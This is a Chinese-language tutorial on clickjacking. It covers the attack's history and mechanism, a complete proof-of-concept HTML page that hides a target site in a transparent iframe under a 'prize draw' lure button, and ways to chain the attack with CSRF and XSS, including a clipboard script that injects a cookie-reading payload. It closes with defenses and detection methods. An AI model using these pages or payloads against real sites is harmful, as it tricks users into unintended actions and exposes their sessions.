点击劫持漏洞的学习及利用之自己制作页面过程
字数 1373 2025-08-09 17:09:26
点击劫持漏洞(ClickJacking)全面解析与防御指南
一、点击劫持漏洞概述
点击劫持(ClickJacking)是一种视觉欺骗攻击手段,属于界面操作劫持攻击的一种。攻击者通过在网页的可见输入控件上覆盖一个不可见的框架,诱使用户误操作,从而执行恶意代码。
1.1 历史背景
- 2008年:由安全专家罗伯特·汉森和耶利米·格劳斯曼首次提出
- 2010年:Paul Stone提出拖放劫持(DragJacking)技术
- 2010年:斯坦福公布触屏劫持(TouchJacking)攻击
1.2 相关概念
- Formjacking:将恶意JavaScript代码嵌入合法网站获取敏感信息
- 界面劫持:基于视觉欺骗的Web会话劫持攻击
二、技术原理与实现
2.1 核心机制
攻击利用HTML <iframe>标签的透明属性,通过以下组合实现:
- 透明层:使用CSS opacity属性(0-1值范围)
- iframe嵌套:嵌入目标页面并精确定位
2.2 关键技术
-
目标网页隐藏技术
- CSS隐藏技术:设置opacity ≤ 0.1
- 双iframe隐藏技术:外联框架筛选显示特定按钮
-
点击操作劫持
- 社会工程学设计诱骗按钮
- JavaScript鼠标跟随技术
- 按键劫持(Stroke Jacking)
-
拖拽技术
- 利用浏览器drag-and-drop API跨域操作
- 突破同源策略限制
三、漏洞利用实例
3.1 基本攻击构造
<html>
<head>
<title>点击劫持示例</title>
<style>
iframe {
width: 1920px;
height: 1200px;
position: absolute;
top: 0px;
left: 0px;
z-index: 2;
opacity: 0;
filter: alpha(Opacity=0);
-moz-opacity: 0;
-webkit-opacity: 0;
-khtml-opacity: 0;
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
}
button {
position: absolute;
top: 345px;
left: 933px;
z-index: 1;
width: 52.5166px;
height: 20.8px;
}
</style>
</head>
<body>
<button style='font-size:7px'>点击抽奖</button>
<iframe src="http://目标网站.com" scrolling="no"></iframe>
</body>
</html>
3.2 关键参数调整
- iframe尺寸:匹配目标页面或诱饵图片
- z-index:控制元素堆叠顺序
- 按钮定位:
- 使用
document.documentElement.scrollTop获取垂直位置 - 使用截图工具测量水平位置
- 使用
- 按钮样式:精确匹配目标按钮尺寸
四、与其他漏洞的组合利用
4.1 结合CSRF漏洞
- 绕过token验证:通过GET方法自动添加token
- 提高攻击成功率:在可信服务器托管攻击页面
4.2 结合XSS漏洞
- 将反射型XSS转化为存储型XSS
- 示例攻击链:
<script> document.addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(document.cookie)\x3c/script\x3e'); e.preventDefault(); }); </script>
五、防御方案
5.1 服务器端防御
-
设置HTTP头:
X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW-FROM https://example.com/ -
Frame Busting代码:
if (top != self) { top.location = self.location; } -
内容安全策略(CSP):
Content-Security-Policy: frame-ancestors 'none'
5.2 客户端防御
- 保持浏览器最新版本
- 使用安全插件(如NoScript)
- 禁用JavaScript(影响正常功能)
六、进阶技术变种
6.1 拖放劫持(DragJacking)
- 利用浏览器拖放API
- 突破同源策略获取敏感数据
- 典型攻击:Cookie Jacking
6.2 触屏劫持(TouchJacking)
- 针对移动设备优化
- 利用隐藏地址栏特性增强欺骗性
七、检测与验证
-
手动检测:
- 检查HTTP响应头中的X-Frame-Options
- 尝试iframe嵌套目标页面
-
自动化工具:
- OWASP ZAP
- Burp Suite
- Clickjacking测试工具
八、最佳实践建议
-
开发阶段:
- 默认设置X-Frame-Options头
- 实施CSP策略
- 关键操作添加二次验证
-
运维阶段:
- 定期安全扫描
- 监控异常点击行为
- 及时更新防护策略
-
用户教育:
- 识别可疑页面
- 避免随意点击不明链接
- 使用安全浏览器配置
通过全面理解点击劫持漏洞的原理、实现方式和防御措施,开发者和安全人员可以更有效地保护Web应用免受此类攻击。